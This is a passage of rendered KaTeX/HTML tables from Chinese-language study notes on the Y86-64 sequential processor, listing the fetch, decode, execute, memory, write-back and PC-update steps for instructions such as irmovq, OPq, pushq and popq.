class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+2]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>译码</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[rB]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><strong>执行</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mtext> OP </mtext><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow valB \text{ OP } valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mord text"><span class="mord"> OP </span></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span><br><strong>Set CC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mn>0</mn><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow 0 + valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mn>0</mn><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow 0 + valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>访存</strong></td><td style="text-align:left"></td><td style="text-align:left"></td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><strong>写回</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>更新 PC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td></tr></tbody></table><hr /><table><thead><tr><th style="text-align:left">阶段</th><th style="text-align:left"><code>pushq rA</code></th><th style="text-align:left"><code>popq rA</code></th></tr></thead><tbody><tr><td style="text-align:left"><strong>取指</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>译码</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>执行</strong></td><td style="text-align:left"><span class="katex"><span 